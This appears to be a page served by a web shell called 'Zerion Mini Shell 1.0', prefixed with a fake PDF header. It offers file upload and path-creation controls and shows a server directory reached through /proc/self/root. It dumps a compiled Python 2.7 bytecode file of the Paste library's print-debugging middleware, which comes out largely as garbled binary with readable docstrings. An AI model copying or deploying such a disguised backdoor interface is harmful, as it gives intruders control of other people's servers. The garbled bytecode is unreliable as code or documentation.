%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /proc/self/root/opt/alt/python27/lib/python2.7/site-packages/paste/debug/
Upload File :
Create Path :
Current File : //proc/self/root/opt/alt/python27/lib/python2.7/site-packages/paste/debug/prints.pyc

�
a�Nc@s�dZddlmZddlZddlZddlmZddlmZddlm	Z	ddl
Z
eadgZ
defd	��YZdefd
��YZdS(s
Middleware that displays everything that is printed inline in
application pages.

Anything printed during the request will get captured and included on
the page.  It will usually be included as a floating element in the
top right hand corner of the page.  If you want to override this
you can include a tag in your template where it will be placed::

  <pre id="paste-debug-prints"></pre>

You might want to include ``style="white-space: normal"``, as all the
whitespace will be quoted, and this allows the text to wrap if
necessary.

i����(tStringION(t
threadedprint(twsgilib(tresponsetPrintDebugMiddlewaretTeeFilecBseZd�Zd�ZRS(cCs
||_dS(N(tfiles(tselfR((sC/opt/alt/python27/lib/python2.7/site-packages/paste/debug/prints.pyt__init__"scCsCt|t�rt|�}nx|jD]}|j|�q(WdS(N(t
isinstancetunicodetstrRtwrite(Rtvtfile((sC/opt/alt/python27/lib/python2.7/site-packages/paste/debug/prints.pyR%s(t__name__t
__module__RR(((sC/opt/alt/python27/lib/python2.7/site-packages/paste/debug/prints.pyR s	cBsleZdZdZdeeed�Zd�Ze	j
de	j�Ze	j
de	je	j
�Zd�ZRS(sL
    This middleware captures all the printed statements, and inlines
    them in HTML pages, so that you can see all the (debug-intended)
    print statements in the page itself.

    There are two keys added to the environment to control this:
    ``environ['paste.printdebug_listeners']`` is a list of functions
    that will be called everytime something is printed.

    ``environ['paste.remove_printdebug']`` is a function that, if
    called, will disable printing of output for that request.

    If you have ``replace_stdout=True`` then stdout is replaced, not
    captured.
    s�<pre style="width: 40%%; border: 2px solid #000; white-space: normal; background-color: #ffd; color: #000; float: right;"><b style="border-bottom: 1px solid #000">Log messages</b><br>%s</pre>cCs_||_||_t|t�r@ddlm}||�}n||_||_d|_	dS(Ni����(tasbool(
tapptforce_content_typeR	t
basestringtpaste.deploy.convertersRtprint_wsgi_errorstreplace_stdouttNonet_threaded_print_stdout(RRtglobal_confRRRR((sC/opt/alt/python27/lib/python2.7/site-packages/paste/debug/prints.pyRDs				cs�|jd�r|j||�Sts8|jtjk	ratatjd|j	�tj|_ng��fd�}||d<t
�}|g}||d<|jr�|j|d�nt
|�}tj|�ztj||j�\}}}	|dkr-d}d
g}|||�|	s-d
}	q-ntj|d�}
�sf|jr�|
sf|
jd	�r�||kr�|dj|j��n|||�|	gStj|d�|j|	|j��}	|||�|	gSWdtj�XdS(Ns
paste.testingtleave_stdoutcs�jd�dS(N(tappendR((tremoved(sC/opt/alt/python27/lib/python2.7/site-packages/paste/debug/prints.pytremove_printdebug^sspaste.remove_printdebugspaste.printdebug_listenersswsgi.errorss500 Server ErrorsContent-types	text/htmlsAn error occurredscontent-typescontent-length(sContent-types	text/html(tgetRt_threadedprint_installedRtsyststdouttTrueRtinstallRRRRRtregisterRtintercept_outputRRtheader_valueRt
startswithRtgetvaluet
remove_headertadd_logt
deregister(Rtenvirontstart_responseRtloggedt	listenerstreplacement_stdouttstatustheaderstbodytcontent_type((RsC/opt/alt/python27/lib/python2.7/site-packages/paste/debug/prints.pyt__call__QsP
		
	
	



s<body[^>]*>s'<pre\s*[^>]*id="paste-debug-prints".*?>cCs�|s
|Stj|�}|jdd�}|jdd�}|jj|�}|sw|j|}|jj|�}n|s�||S||j� |||j�SdS(Ns
s<br>s  s&nbsp; (tcgitescapetreplacet_explicit_retsearchtlog_templatet_body_retend(Rthtmltlogttexttmatch((sC/opt/alt/python27/lib/python2.7/site-packages/paste/debug/prints.pyR+�s
N(RRt__doc__R<RtFalseR#RR6tretcompiletIR=tSR:R+(((sC/opt/alt/python27/lib/python2.7/site-packages/paste/debug/prints.pyR,s	2	(RCt	cStringIORRER7t
paste.utilRtpasteRRR!RDR t__all__tobjectRR(((sC/opt/alt/python27/lib/python2.7/site-packages/paste/debug/prints.pyt<module>s	

Zerion Mini Shell 1.0